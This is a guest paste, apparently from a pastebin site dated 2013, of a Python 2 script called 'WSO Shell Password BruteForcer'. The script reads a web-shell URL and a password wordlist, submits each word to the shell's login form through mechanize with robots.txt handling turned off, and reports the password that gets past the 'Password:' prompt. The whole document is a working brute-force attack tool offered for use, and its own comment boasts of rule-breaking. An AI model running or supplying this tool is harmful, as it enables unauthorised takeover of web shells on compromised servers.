shell pass bruter.py


SUBMITTED BY: Guest

DATE: Nov. 30, 2013, 3:56 p.m.

FORMAT: Python

SIZE: 1.7 kB

HITS: 1051

  1. import mechanize, os, sys
  2. def clear_scr():
  3. if 'win32' in sys.platform:
  4. os.system('cls')
  5. else:
  6. os.system('clear')
  7. def main():
  8. try:
  9. logo = "\n+==============================+"
  10. logo += "\n WSO Shell Password BruteForcer"
  11. logo += "\n+==============================+\n"
  12. # Don't follow robots.txt rule ^_^ after all, we're rule breaker
  13. link = raw_input("Enter shell link -> ")
  14. wlist = raw_input('Enter wordlist file -> ')
  15. xo = open(wlist).readlines()
  16. lo = len(xo)
  17. wo = "%s\nTarget => %s\nWords to Test : [%d]" % (logo,link, lo)
  18. scan(wo,lo,xo,link) # Bring it on!!
  19. except KeyboardInterrupt:
  20. print "[~] Program Terminated!"
  21. def scan(w,l,x,h): # W for Words to maintain printing.., l for wordlist length.., x for wordlist.., h for link
  22. sig = 'Password:'
  23. br = mechanize.Browser()
  24. br.set_handle_robots(False)
  25. for i in x:
  26. clear_scr()
  27. print w
  28. print "Tested : [%d]\n" % int(x.index(i)+1)
  29. resp = br.open(h)
  30. br.select_form(nr=0)
  31. br.form['pass'] = i
  32. br.submit()
  33. new_resp = br.open(h).read()
  34. if sig in new_resp:
  35. print "[-] Tested : %s" % i
  36. if x.index(i)+1 == len(x):
  37. print "[!] Sorry pass not found!"
  38. elif sig not in new_resp:
  39. print "[+] Tested : %s , [Successful]" % i
  40. break
  41. if __name__ == "__main__":
  42. main()

comments powered by Disqus